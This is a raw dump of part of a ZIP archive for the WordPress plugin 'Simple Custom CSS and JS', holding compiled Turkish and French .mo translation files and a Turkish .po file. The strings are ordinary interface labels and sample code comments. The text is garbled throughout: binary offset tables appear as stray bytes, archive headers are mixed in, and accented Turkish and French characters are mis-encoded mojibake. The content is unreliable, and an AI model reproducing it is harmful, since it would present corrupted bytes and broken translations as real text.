              7   8              5   *      -   P      O          =   )   W   +                9          R   @   $          F   ;                      #       A   G      "   T                ^   Y   S      V       D                 K   [      L   J   :          >              ?   N   ]   6   E   B       \   Z           0   X   !   2       <   C         Q       /    %s ago 1 is the highest priority1 (highest) 10 is the lowest priority10 (lowest) Active Add Add CSS Code Add CSS code Add Custom CSS Add Custom Code Add Custom HTML Add Custom JS Add HTML Code Add HTML code Add JS Code Add JS code All Custom Code All Website Apply only on these URLs Author Available only in <br />Simple Custom CSS and JS Pro Both CSS Preprocessor Cheatin&#8217; huh? Code Revisions Code updated Compare Contains Custom CSS and JS code Custom Code Date Delete Desktop Diana Burduja Dismiss this notice Easily add Custom CSS or JS to your website with an awesome editor. Edit Custom Code Ends by External File First page Footer Full URL on which to preview the changes ... Get your discount now Header In Admin In Frontend Internal Is equal to Less Linking type Minify the code Mobile Modified New Custom Code No Custom Code found in Trash. No Custom Code found. None Not contains Not equal to On which device Options Parent Custom Code: Please remove the <b>custom-css-js</b> post type from the <b>qTranslate settings</b> in order to avoid some malfunctions in the Simple Custom CSS & JS plugin. Check out <a href="%s" target="_blank">this screenshot</a> for more details on how to do that. Please run the following command to make the directory writable Please run the following commands in order to make the directory Preview Preview Changes Priority Restore Revision SASS (only SCSS syntax) Search Custom Code Settings Starts with Text filter The %s directory could not be created The %s directory is not writable, therefore the CSS and JS files cannot be saved. The code is active. Click to deactivate it The code is inactive. Click to activate it Title Type URL View Custom Code Web Designer Where in site Where on page Y/m/d add newAdd Custom Code add new on admin barCustom Code admin menuCustom CSS & JS https://wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ post type general nameCustom Code post type singular nameCustom Code revision date formatF j, Y @ H:i:s Project-Id-Version: Simple Custom CSS and JS 3.0
Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-svn
POT-Creation-Date: 2018-02-08 19:58:14+00:00
PO-Revision-Date: 2018-02-08 21:12+0100
Last-Translator: Diana Burduja <diana@wootips.com>
Language-Team: 
Language: tr_TR
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 1.6.10
Plural-Forms: nplurals=2; plural=(n != 1);
 %s Ã¶nce 1 (En yÃ¼ksek) 10 (en dÃ¼ÅŸÃ¼k) Aktif Ekle CSS Kodu Ekle CSS Kodu ekle Ã–zel CSS Ekle Ã–zel Kod Ekle Ã–zel HTML Ekle Ã–zel JS Ekle HTML Kodu Ekle HTML Kodu ekle JS Kodu Ekle JS Kodu ekle TÃ¼m Ã–zel Kodlar TÃ¼m Web Siteleri Sadece bu URL lere uygula Yazar Sadece <br />Simple Custom CSS and JS Pro<br />versiyonunda mevcut Her ikisi CSS Ã–niÅŸleyici KandÄ±rÄ±kÃ§Ä±lÄ±k ha? Kod revizyonlarÄ± Kod gÃ¼ncellendi KarÅŸÄ±laÅŸtÄ±r iÃ§eriyor Ã–zel CSS ve JS Kodu Ã–zel Kod Tarih Sil MasaÃ¼stÃ¼ Diana Burduja Bu uyarÄ±yÄ± yoksay Websitenize harika bir dÃ¼zenleyici ile Ã¶zel CSS veya JS i kolayca ekleyin. Ã–zel Kodu DÃ¼zenle ÅŸunla bitiyor Harici Dosya Ä°lk Sayfa AltbaÅŸlÄ±k (Footer) DeÄŸiÅŸikliklerin Ã¶ngÃ¶rÃ¼nÃ¼mÃ¼nÃ¼ istediÄŸiniz URL in tam adresi â€¦ Åžimdi indirimi al ÃœstbaÅŸlÄ±k (Header) YÃ¶netici panelinde Ã–nyÃ¼zde Dahili eÅŸit Less Linkleme Ã§eÅŸidi Kodu kÃ¼Ã§Ã¼lt Mobil DeÄŸiÅŸtirilme Yeni Ã–zel Kod Ã‡Ã¶p kutusunda Ã¶zel kod bulunmadÄ±. Ã–zel Kod bulunmadÄ±. Yok iÃ§ermiyor eÅŸit deÄŸil Hangi cihazlarda SeÃ§enekler Ana Ã–zel Kod: Simple Custom CSS & JS eklentisinde iÅŸlev bozukluklarÄ±ndan kaÃ§Ä±nmak iÃ§in lÃ¼tfen <b>qTranslate ayarlarÄ±ndan </b>  <b>custom-css-js</b> yazÄ± tipini kaldÄ±rÄ±nÄ±z. Bunu nasÄ±l yapacaÄŸÄ±nÄ±zÄ±n detaylarÄ± hakkÄ±nda  <a href=â€œ%sâ€� target=â€œ_blankâ€�>bu ekran gÃ¶rÃ¼ntÃ¼sÃ¼ne </a> bakÄ±nÄ±z. LÃ¼tfen klasÃ¶rÃ¼ yazÄ±labilir yapmak iÃ§in aÅŸaÄŸÄ±daki komutu Ã§alÄ±ÅŸtÄ±rÄ±n KlasÃ¶r oluÅŸturmak iÃ§in lÃ¼tfen aÅŸaÄŸÄ±daki komutlarÄ± Ã§alÄ±ÅŸtÄ±rÄ±n Ã–ngÃ¶rÃ¼nÃ¼m DeÄŸiÅŸiklikleri Ã¶n izle Ã–ncelik Geri yÃ¼kle Revizyon SASS (sadece SCSS yazÄ±mÄ±) Ã–zel Kod ara Ayarlar Åžunla baÅŸlÄ±yor Tekst sÃ¼zgeci %s klasÃ¶rÃ¼ oluÅŸturulamadÄ± %s klasÃ¶rÃ¼ yazÄ±labilir deÄŸil, o yÃ¼zden CSS ve JS dosyalarÄ± kaydedilemedi. Bu kod faal. Devre dÄ±ÅŸÄ± bÄ±rakmak iÃ§in tÄ±klayÄ±nÄ±z Bu kod faal deÄŸil. Faal hale getirmek iÃ§in tÄ±klayÄ±nÄ±z BaÅŸlÄ±k Ã‡eÅŸidi URL Ã–zel Kodu GÃ¶rÃ¼ntÃ¼le Web TasarÄ±mcÄ± Sitede nerede SayfanÄ±n neresinde Y/m/d Ã–zel Kod Ekle Ã–zel Kod Ã–zel CSS & JS https://wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ Ã–zel Kod Ã–zel Kod F j, Y @ H:i:s PK     ]t](T3…[)  [)     languages/custom-css-js-fr_FR.monu ÕIw¶´        Þ•    u      Ä  �   l      à	     á	  ·   è	  Ø   
  %   y  %   Ÿ    Å     à     é     ð     ô                    -     =     K     Y     g     s          �           ¬     Å  4   Ì       	             !     5     D     Q     Y     b     {     ’     ž  
   £     ®     µ     ½     Ë  C   ß     #     1     B     Q     ^     n     v     „     •  ,   œ     É  
   ß     ê     ñ     ú                    !     -  6   6  #   m     ‘     ­     ²     ¿     Ï     Ö     ß     ï          $     )     6     C     Q     a     i  ý   }  ?   {  @   »     ü                    %     .     F     K     ^     g     €     Œ  %   ˜  Q   ¾  *     *   ;     f     l     q     u     †     “     ¡     ¯     µ      Í     î  ,   	     6  "   R  #   u  #   ™  ²  ½  	   p  Õ   z    P     `     r  &  …     ¬     ´     º     Â     Ö     ê          &     D     `     u     Š     �     °     Î     ì     ù        =          ^   	   g      q      „      ˜      «      ¼      Å       Î      ï      !      !     %!     1!  
   9!     D!     R!  M   m!     »!     Ð!     ï!     "     "     5"     D"     T"     l"  ,   y"     ¦"  
   Æ"     Ñ"     â"     ñ"     #     #     #     ##     +#  :   4#  /   o#  &   Ÿ#     Æ#     Ë#     Û#     ì#     ó#     ü#  3   $  !   K$     m$     s$     ƒ$     ‘$     ¦$     ¸$     À$    Ü$  N   î%  F   =&     „&     “&  	   ¢&  	   ¬&  	   ¶&     À&     Þ&      ê&     '     '     2'     ?'  *   O'  ]   z'  /   Ø'  +   (     4(     :(     ?(     C(     ^(     k(     |(     �(     “(     ±(     Ä(  ,   Ý(     
)     &)     9)     L)     )       u   a   X   =              n       1      r   T   I       .   <   h         R   (       A   6   b   3      ?      m   /           \   2   *      #   e   d   S      	   N       M   Y   '   F              p              C   f   5           c   @      ^   `   7   %               &              J   -                        $           k   [             B   _       ]   U      9               K   t   ;         s   q      l   G             O   :       P       Q   "       L   W   
   o              4   H   8   >   j      ,   +   Z      i   D                      g   E   0   V          !    %s ago /* Add your CSS code here.

For example:
.example {
    color: red;
}

For brushing up on your CSS knowledge, check out http://www.w3schools.com/css/css_syntax.asp

End of comment */  /* Add your JavaScript code here.

If you are using the jQuery library, then don't forget to wrap your code inside jQuery.ready() as follows:

jQuery(document).ready(function( $ ){
    // Your code in here
});

--

If you want to link a JavaScript file that resides on another server (similar to
<script src="https://example.com/your-js-file.js"></script>), then please use
the "Add HTML Code" page, as this is a HTML code that links a JavaScript file.

End of comment */  1 is the highest priority1 (highest) 10 is the lowest priority10 (lowest) <!-- Add HTML code to the header or the footer.

For example, you can use the following code for loading the jQuery library from Google CDN:
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script>

or the following one for loading the Bootstrap library from MaxCDN:
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">

-- End of the comment -->  Activate Active Add Add CSS Code Add CSS code Add Custom CSS Add Custom Code Add Custom HTML Add Custom JS Add HTML Code Add HTML code Add JS Code Add JS code All Custom Code All Custom Codes All Website Apply only on these URLs Author Available only in <br />Simple Custom CSS and JS Pro Both CSS Codes CSS Preprocessor Cheatin&#8217; huh? Code Revisions Code updated Compare Contains Custom CSS & JS Settings Custom CSS and JS code Custom Code Date Deactivate Delete Desktop Diana Burduja Dismiss this notice Easily add Custom CSS or JS to your website with an awesome editor. Edit CSS Code Edit Custom Code Edit HTML Code Edit JS Code Editor Settings Ends by External File Filter Code Type Footer Full URL on which to preview the changes ... Get your discount now HTML Codes Header Homepage In Admin In Frontend Inactive Internal Is equal to JS Codes Keep the HTML entities, don't convert to its character Last edited by %1$s on %2$s at %3$s Last edited on %1$s at %2$s Less Linking type Minify the code Mobile Modified New Custom Code No Custom Code found in Trash. No Custom Code found. None Not contains Not equal to On Login Page On which device Options Parent Custom Code: Please remove the <b>custom-css-js</b> post type from the <b>qTranslate settings</b> in order to avoid some malfunctions in the Simple Custom CSS & JS plugin. Check out <a href="%s" target="_blank">this screenshot</a> for more details on how to do that. Please run the following command to make the directory writable Please run the following commands in order to make the directory Preview Preview Changes Priority Restore Revision SASS (only SCSS syntax) Save Search Custom Code Settings Simple Custom CSS and JS Starts with Text filter The %s directory could not be created The %s directory is not writable, therefore the CSS and JS files cannot be saved. The code is active. Click to deactivate it The code is inactive. Click to activate it Title Type URL View Custom Code Web Designer Where in site Where on page Y/m/d add newAdd Custom Code add new on admin barCustom Code admin menuCustom CSS & JS https://wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ post type general nameCustom Code post type singular nameCustom Code revision date formatF j, Y @ H:i:s Project-Id-Version: Plugins - Simple Custom CSS and JS - Stable (latest release)
Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-svn
PO-Revision-Date: 2019-04-21 22:41+0200
Last-Translator: Diana Burduja <diana@wootips.com>
Language-Team: 
Language: fr
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n > 1;
X-Generator: Poedit 2.2.1
 Il y a %s /* Ajouter votre code CSS ici.
                     
Par exemple:
.exemple {
    color: red;
}

Pour amÃ©liorer vos connaissances en CSS, visitez http://www.w3schools.com/css/css_syntax.asp

Fin du commentaire */  /* Ajoutez votre code JavaScript ici.
                     
Si vous utilisez la bibliotheque jQuery library, noubliez pas de wrapper votre code dans le jQuery.ready() comme ceci :

jQuery(document).ready(function( $ ){
    // Votre code ici 
});

--

Si vous voulez lier un fichier JavaScript qui se trouve sur un autre serveur (similaire a 
<script src="https://example.com/your-js-file.js"></script>), utilisez 
la page "Ajouter du code HTML", car c'est du code HTML qui appelle un fichier JavaScript.

Fin du commentaire */  1 (la plus haute) 10 (la plus basse) <!-- Ajoutez du code HTML dans l'en-tete ou le pied. 

Par exemple, utilisez le code suivant pour charger la bibliotheque jQuery depuis le CDN de Google :
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script>

ou celui-ci pour charger la bibliotheque Bootstrap depuis MaxCDN:
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" integrity="sha384-HSMxcRTRxnN+Bdg0JdbxYKrThecOKuH5zCYotlSAcp1+c8xmyTe9GYg1l9a69psu" crossorigin="anonymous">

-- Fin du commentaire -->  Activer Actif Ajouter Ajouter du code CSS Ajouter du code CSS Ajouter du CSS personnalisÃ© Ajouter du code personnalisÃ©  Ajouter du HTML personnalisÃ© Ajouter du JS personnalisÃ© Ajouter du code HTML Ajouter du code HTML Ajouter du code JS Ajouter du code JS Tous les codes personnalisÃ©s Tous les codes personnalisÃ©s Tout le site Appliquer seulement Ã  ces URLs Auteur Uniquement disponible dans <br />Simple Custom CSS and JS Pro Les deux Codes CSS PrÃ©processeur CSS Cheatin&#8217; huh? RÃ©visions du code Code mis Ã  jour Comparer Contient Configuration de Custom CSS & JS Code CSS et JS personnalisÃ©  Code personnalisÃ© Date DÃ©sactiver Effacer Ordinateur Diana Burduja Effacer cette notification Ajoutez facilement du code CSS et JS Ã  votre site avec ce puissant Ã©diteur. Modifier le code CSS Modifier le code personnalisÃ© Modifier le code HTML Modifier le code JS Configuration de l'Ã©diteur Se termine par Fichier externe Filtrer le type de code Pied de page URL oÃ¹ prÃ©visualiser les modifications ... Obtenez votre remise maintenant Codes HTML En-tÃªte de page PremiÃ¨re page Dans l'administration Sur le site Inactif Interne Egal Ã  Codes JS Conserver le code HTML, ne pas le convertir en caractÃ¨res DerniÃ¨re modification par %1$s le %2$s Ã  %3$s DerniÃ¨re modification le %1$s Ã  %2$s Less Type de liaison Minifier le code Mobile ModifiÃ© Nouveau code personnalisÃ© Aucun code personnalisÃ© trouvÃ© dans la corbeille. Aucun code personnalisÃ© trouvÃ©. aucun Ne contient pas DiffÃ©rent de Sur la page de Login Sur quel appareil Options Code personnalisÃ© parent : Veuillez retirer le post type <b>custom-css-js</b> de la configuration de <b>qTranslate</b> pour Ã©viter certains effets nÃ©fastes avec Simple Custom CSS & JS plugin. Reportez vous Ã  <a href="%s" target="_blank">cette image</a> pour plus de dÃ©tail sur la faÃ§on de faire. Veuillez exÃ©cuter la commande suivante pour rendre le rÃ©pertoire modifiable. Veuillez exÃ©cuter les commandes suivantes pour crÃ©er le rÃ©pertoire  PrÃ©visualiser PrÃ©visualiser PrioritÃ© Restaurer RÃ©vision SASS (syntaxe SCSS seulement) Sauvegarder Rechercher du code personnalisÃ© Configuration Simple Custom CSS and JS Commence par Filtre de texte Le rÃ©pertoire %s ne peut pas Ãªtre crÃ©Ã© Le rÃ©pertoire %s n'est pas modifiable, les fichiers CSS et JS ne peuvent Ãªtre sauvegardÃ©s. Le code est actif. Cliquez pour le dÃ©sactiver  Le code est inactif. Cliquez pour l'activer Titre Type URL Voir le code personnalisÃ© Designer Web OÃ¹ dans le site OÃ¹ dans la page Y/m/d Ajouter du code personnalisÃ© Code personnalisÃ© CSS et JS personnalisÃ©s https://wordpress.org/plugins/custom-css-js/ https://www.silkypress.com/ Code personnalisÃ© Code personnalisÃ© F j, Y @ H:i:s PK     ]t]²@/¡5  ¡5     languages/custom-css-js-tr_TR.ponu ÕIw¶´        # Copyright (C) 2017 Simple Custom CSS and JS
# This file is distributed under the same license as the Simple Custom CSS and JS package.
msgid ""
msgstr ""
"Project-Id-Version: Simple Custom CSS and JS 3.0\n"
"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/custom-css-js-"
"svn\n"
"POT-Creation-Date: 2018-02-08 19:58:14+00:00\n"
"PO-Revision-Date: 2018-02-08 21:12+0100\n"
"Last-Translator: Diana Burduja <diana@wootips.com>\n"
"Language-Team: \n"
"Language: tr_TR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.6.10\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: custom-css-js.php:53 custom-css-js.php:60
msgid "Cheatin&#8217; huh?"
msgstr "KandÄ±rÄ±kÃ§Ä±lÄ±k ha?"

#: custom-css-js.php:220
msgctxt "post type general name"
msgid "Custom Code"
msgstr "Ã–zel Kod"

#: custom-css-js.php:221
msgctxt "post type singular name"
msgid "Custom Code"
msgstr "Ã–zel Kod"

#: custom-css-js.php:222
msgctxt "admin menu"
msgid "Custom CSS & JS"
msgstr "Ã–zel CSS & JS"

#: custom-css-js.php:223
msgctxt "add new on admin bar"
msgid "Custom Code"
msgstr "Ã–zel Kod"

#: custom-css-js.php:224
msgctxt "add new"
msgid "Add Custom Code"
msgstr "Ã–zel Kod Ekle"

#: custom-css-js.php:225
msgid "Add Custom Code"
msgstr "Ã–zel Kod Ekle"

#: custom-css-js.php:226
msgid "New Custom Code"
msgstr "Yeni Ã–zel Kod"

#: custom-css-js.php:227
msgid "Edit Custom Code"
msgstr "Ã–zel Kodu DÃ¼zenle"

#: custom-css-js.php:228
msgid "View Custom Code"
msgstr "Ã–zel Kodu GÃ¶rÃ¼ntÃ¼le"

#: custom-css-js.php:229
msgid "All Custom Code"
msgstr "TÃ¼m Ã–zel Kodlar"

#: custom-css-js.php:230
msgid "Search Custom Code"
msgstr "Ã–zel Kod ara"

#: custom-css-js.php:231
msgid "Parent Custom Code:"
msgstr "Ana Ã–zel Kod:"

#: custom-css-js.php:232
msgid "No Custom Code found."
msgstr "Ã–zel Kod bulunmadÄ±."

#: custom-css-js.php:233
msgid "No Custom Code found in Trash."
msgstr "Ã‡Ã¶p kutusunda Ã¶zel kod bulunmadÄ±."

#: custom-css-js.php:254
msgid "Custom CSS and JS code"
msgstr "Ã–zel CSS ve JS Kodu"

#: custom-css-js.php:299
msgid "Web Designer"
msgstr "Web TasarÄ±mcÄ±"

#: custom-css-js.php:394 includes/admin-config.php:58
msgid "Settings"
msgstr "Ayarlar"

#: includes/admin-addons.php:42 includes/admin-screens.php:776
msgid "Available only in <br />Simple Custom CSS and JS Pro"
msgstr "Sadece <br />Simple Custom CSS and JS Pro<br />versiyonunda mevcut"

#: includes/admin-addons.php:54
msgid "Preview"
msgstr "Ã–ngÃ¶rÃ¼nÃ¼m"

#: includes/admin-addons.php:55
msgid "Apply only on these URLs"
msgstr "Sadece bu URL lere uygula"

#: includes/admin-addons.php:56
msgid "Code Revisions"
msgstr "Kod revizyonlarÄ±"

#: includes/admin-addons.php:67
msgid "Full URL on which to preview the changes ..."
msgstr "DeÄŸiÅŸikliklerin Ã¶ngÃ¶rÃ¼nÃ¼mÃ¼nÃ¼ istediÄŸiniz URL in tam adresi â€¦"

#: includes/admin-addons.php:68
msgid "Preview Changes"
msgstr "DeÄŸiÅŸiklikleri Ã¶n izle"

#: includes/admin-addons.php:82
msgid "All Website"
msgstr "TÃ¼m Web Siteleri"

#: includes/admin-addons.php:83
msgid "Homepage"
msgstr "Ä°lk Sayfa"

#: includes/admin-addons.php:84
msgid "Contains"
msgstr "iÃ§eriyor"

#: includes/admin-addons.php:85
msgid "Not contains"
msgstr "iÃ§ermiyor"

#: includes/admin-addons.php:86
msgid "Is equal to"
msgstr "eÅŸit"

#: includes/admin-addons.php:87
msgid "Not equal to"
msgstr "eÅŸit deÄŸil"

#: includes/admin-addons.php:88
msgid "Starts with"
msgstr "Åžunla baÅŸlÄ±yor"

#: includes/admin-addons.php:89
msgid "Ends by"
msgstr "ÅŸunla bitiyor"

#: includes/admin-addons.php:100 includes/admin-addons.php:101
msgid "URL"
msgstr "URL"

#: includes/admin-addons.php:102
msgid "Text filter"
msgstr "Tekst sÃ¼zgeci"

#: includes/admin-addons.php:103
msgid "Add"
msgstr "Ekle"

#: includes/admin-addons.php:114
msgctxt "revision date format"
msgid "F j, Y @ H:i:s"
msgstr "F j, Y @ H:i:s"

#: includes/admin-addons.php:136 includes/admin-addons.php:169
msgid "Compare"
msgstr "KarÅŸÄ±laÅŸtÄ±r"

#: includes/admin-addons.php:137
msgid "Revision"
msgstr "Revizyon"

#: includes/admin-addons.php:138 includes/admin-screens.php:283
msgid "Author"
msgstr "Yazar"

#: includes/admin-addons.php:139 includes/admin-addons.php:173
msgid "Delete"
msgstr "Sil"

#: includes/admin-addons.php:140 includes/admin-addons.php:163
msgid "Restore"
msgstr "Geri yÃ¼kle"

#: includes/admin-config.php:115
msgid "Save"
msgstr ""

#: includes/admin-config.php:139
msgid "Custom CSS & JS Settings"
msgstr ""

#: includes/admin-config.php:142
msgid "Editor Settings"
msgstr ""

#: includes/admin-config.php:195
msgid "Keep the HTML entities, don't convert to its character"
msgstr ""

#: includes/admin-config.php:200
msgid "Encode the HTML entities"
msgstr ""

#: includes/admin-notices.php:125
msgid "Get your discount now"
msgstr "Åžimdi indirimi al"

#: includes/admin-notices.php:125 includes/admin-notices.php:190
msgid "Dismiss this notice"
msgstr "Bu uyarÄ±yÄ± yoksay"

#: includes/admin-screens.php:93
msgid "Add Custom CSS"
msgstr "Ã–zel CSS Ekle"

#: includes/admin-screens.php:96
msgid "Add Custom JS"
msgstr "Ã–zel JS Ekle"

#: includes/admin-screens.php:99
msgid "Add Custom HTML"
msgstr "Ã–zel HTML Ekle"

#: includes/admin-screens.php:173 includes/admin-screens.php:280
#: includes/admin-screens.php:1286
msgid "Active"
msgstr "Aktif"

#: includes/admin-screens.php:174 includes/admin-screens.php:1289
msgid "Inactive"
msgstr ""

#: includes/admin-screens.php:175 includes/admin-screens.php:1262
#: includes/admin-screens.php:1290
msgid "Activate"
msgstr ""

#: includes/admin-screens.php:176 includes/admin-screens.php:1259
#: includes/admin-screens.php:1287
msgid "Deactivate"
msgstr ""

#: includes/admin-screens.php:177 includes/admin-screens.php:325
#: includes/admin-screens.php:1258
msgid "The code is active. Click to deactivate it"
msgstr "Bu kod faal. Devre dÄ±ÅŸÄ± bÄ±rakmak iÃ§in tÄ±klayÄ±nÄ±z"

#: includes/admin-screens.php:178 includes/admin-screens.php:328
#: includes/admin-screens.php:1261
msgid "The code is inactive. Click to activate it"
msgstr "Bu kod faal deÄŸil. Faal hale getirmek iÃ§in tÄ±klayÄ±nÄ±z"

#: includes/admin-screens.php:204
msgid "Options"
msgstr "SeÃ§enekler"

#: includes/admin-screens.php:264
msgid "Add CSS code"
msgstr "CSS Kodu ekle"

#: includes/admin-screens.php:265
msgid "Add JS code"
msgstr "JS Kodu ekle"

#: includes/admin-screens.php:266
msgid "Add HTML code"
msgstr "HTML Kodu ekle"

#: includes/admin-screens.php:281
msgid "Type"
msgstr "Ã‡eÅŸidi"

#: includes/admin-screens.php:282
msgid "Title"
msgstr "BaÅŸlÄ±k"

#: includes/admin-screens.php:284
msgid "Date"
msgstr "Tarih"

#: includes/admin-screens.php:285
msgid "Modified"
msgstr "DeÄŸiÅŸtirilme"

#: includes/admin-screens.php:314
msgid "%s ago"
msgstr "%s Ã¶nce"

#: includes/admin-screens.php:316
msgid "Y/m/d"
msgstr "Y/m/d"

#: includes/admin-screens.php:386
msgid "CSS Codes"
msgstr ""

#: includes/admin-screens.php:387
msgid "JS Codes"
msgstr ""

#: includes/admin-screens.php:388
msgid "HTML Codes"
msgstr ""

#: includes/admin-screens.php:391
msgid "Filter Code Type"
msgstr ""

#: includes/admin-screens.php:393
msgid "All Custom Codes"
msgstr ""

#: includes/admin-screens.php:448
msgid "Custom Code"
msgstr "Ã–zel Kod"

#: includes/admin-screens.php:449 includes/admin-screens.php:468
#: includes/admin-screens.php:489
msgid "Add CSS Code"
msgstr "CSS Kodu Ekle"

#: includes/admin-screens.php:450 includes/admin-screens.php:469
#: includes/admin-screens.php:490
msgid "Add JS Code"
msgstr "JS Kodu Ekle"

#: includes/admin-screens.php:451 includes/admin-screens.php:470
#: includes/admin-screens.php:491
msgid "Add HTML Code"
msgstr "HTML Kodu Ekle"

#: includes/admin-screens.php:471
msgid "Edit CSS Code"
msgstr ""

#: includes/admin-screens.php:472
msgid "Edit JS Code"
msgstr ""

#: includes/admin-screens.php:473
msgid "Edit HTML Code"
msgstr ""

#: includes/admin-screens.php:499
msgid "Code updated"
msgstr "Kod gÃ¼ncellendi"

#: includes/admin-screens.php:612
msgid ""
"/* Add your JavaScript code here.\n"
"\n"
"If you are using the jQuery library, then don't forget to wrap your code "
"inside jQuery.ready() as follows:\n"
"\n"
"jQuery(document).ready(function( $ ){\n"
"    // Your code in here\n"
"});\n"
"\n"
"--\n"
"\n"
"If you want to link a JavaScript file that resides on another server "
"(similar to\n"
"<script src=\"https://example.com/your-js-file.js\"></script>), then please "
"use\n"
"the \"Add HTML Code\" page, as this is a HTML code that links a JavaScript "
"file.\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:634
msgid ""
"<!-- Add HTML code to the header or the footer.\n"
"\n"
"For example, you can use the following code for loading the jQuery library "
"from Google CDN:\n"
"<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min."
"js\"></script>\n"
"\n"
"or the following one for loading the Bootstrap library from MaxCDN:\n"
"<link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/"
"bootstrap/4.3.1/css/bootstrap.min.css\" integrity=\"sha384-"
"ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" "
"crossorigin=\"anonymous\">\n"
"\n"
"-- End of the comment --> "
msgstr ""

#: includes/admin-screens.php:660
msgid ""
"/* Add your CSS code here.\n"
"\n"
"For example:\n"
".example {\n"
"    color: red;\n"
"}\n"
"\n"
"For brushing up on your CSS knowledge, check out http://www.w3schools.com/"
"css/css_syntax.asp\n"
"\n"
"End of comment */ "
msgstr ""

#: includes/admin-screens.php:692
msgid "Last edited by %1$s on %2$s at %3$s"
msgstr ""

#: includes/admin-screens.php:694
msgid "Last edited on %1$s at %2$s"
msgstr ""

#: includes/admin-screens.php:791
msgid "Linking type"
msgstr "Linkleme Ã§eÅŸidi"

#: includes/admin-screens.php:796
msgid "External File"
msgstr "Harici Dosya"

#: includes/admin-screens.php:800
msgid "Internal"
msgstr "Dahili"

#: includes/admin-screens.php:806 includes/admin-screens.php:894
msgid "Where on page"
msgstr "SayfanÄ±n neresinde"

#: includes/admin-screens.php:811 includes/admin-screens.php:899
msgid "Header"
msgstr "ÃœstbaÅŸlÄ±k (Header)"

#: includes/admin-screens.php:815 includes/admin-screens.php:903
msgid "Footer"
msgstr "AltbaÅŸlÄ±k (Footer)"

#: includes/admin-screens.php:821 includes/admin-screens.php:909
msgid "Where in site"
msgstr "Sitede nerede"

#: includes/admin-screens.php:826 includes/admin-screens.php:914
msgid "In Frontend"
msgstr "Ã–nyÃ¼zde"

#: includes/admin-screens.php:830 includes/admin-screens.php:918
msgid "In Admin"
msgstr "YÃ¶netici panelinde"

#: includes/admin-screens.php:834
msgid "On Login Page"
msgstr ""

#: includes/admin-screens.php:840
msgid "CSS Preprocessor"
msgstr "CSS Ã–niÅŸleyici"

#: includes/admin-screens.php:845
msgid "None"
msgstr "Yok"

#: includes/admin-screens.php:848
msgid "Less"
msgstr "Less"

#: includes/admin-screens.php:851
msgid "SASS (only SCSS syntax)"
msgstr "SASS (sadece SCSS yazÄ±mÄ±)"

#: includes/admin-screens.php:857
msgid "Minify the code"
msgstr "Kodu kÃ¼Ã§Ã¼lt"

#: includes/admin-screens.php:864 includes/admin-screens.php:945
msgid "Priority"
msgstr "Ã–ncelik"

#: includes/admin-screens.php:869 includes/admin-screens.php:950
msgctxt "1 is the highest priority"
msgid "1 (highest)"
msgstr "1 (En yÃ¼ksek)"

#: includes/admin-screens.php:878 includes/admin-screens.php:959
msgctxt "10 is the lowest priority"
msgid "10 (lowest)"
msgstr "10 (en dÃ¼ÅŸÃ¼k)"

#: includes/admin-screens.php:924
msgid "On which device"
msgstr "Hangi cihazlarda"

#: includes/admin-screens.php:930
msgid "Desktop"
msgstr "MasaÃ¼stÃ¼"

#: includes/admin-screens.php:934
msgid "Mobile"
msgstr "Mobil"

#: includes/admin-screens.php:938
msgid "Both"
msgstr "Her ikisi"

#: includes/admin-screens.php:1096
msgid "The %s directory could not be created"
msgstr "%s klasÃ¶rÃ¼ oluÅŸturulamadÄ±"

#: includes/admin-screens.php:1097
msgid "Please run the following commands in order to make the directory"
msgstr "KlasÃ¶r oluÅŸturmak iÃ§in lÃ¼tfen aÅŸaÄŸÄ±daki komutlarÄ± Ã§alÄ±ÅŸtÄ±rÄ±n"

#: includes/admin-screens.php:1105
msgid ""
"The %s directory is not writable, therefore the CSS and JS files cannot be "
"saved."
msgstr ""
"%s klasÃ¶rÃ¼ yazÄ±labilir deÄŸil, o yÃ¼zden CSS ve JS dosyalarÄ± kaydedilemedi."

#: includes/admin-screens.php:1106
msgid "Please run the following command to make the directory writable"
msgstr "LÃ¼tfen klasÃ¶rÃ¼ yazÄ±labilir yapmak iÃ§in aÅŸaÄŸÄ±daki komutu Ã§alÄ±ÅŸtÄ±rÄ±n"

#: includes/admin-warnings.php:55
msgid ""
"Please remove the <b>custom-css-js</b> post type from the <b>qTranslate "
"settings</b> in order to avoid some malfunctions in the Simple Custom CSS & "
"JS plugin. Check out <a href=\"%s\" target=\"_blank\">this screenshot</a> "
"for more details on how to do that."
msgstr ""
"Simple Custom CSS & JS eklentisinde iÅŸlev bozukluklarÄ±ndan kaÃ§Ä±nmak iÃ§in "
"lÃ¼tfen <b>qTranslate ayarlarÄ±ndan </b>  <b>custom-css-js</b> yazÄ± tipini "
"kaldÄ±rÄ±nÄ±z. Bunu nasÄ±l yapacaÄŸÄ±nÄ±zÄ±n detaylarÄ± hakkÄ±nda  <a href=â€œ%sâ€� "
"target=â€œ_blankâ€�>bu ekran gÃ¶rÃ¼ntÃ¼sÃ¼ne </a> bakÄ±nÄ±z."

#. Plugin Name of the plugin/theme
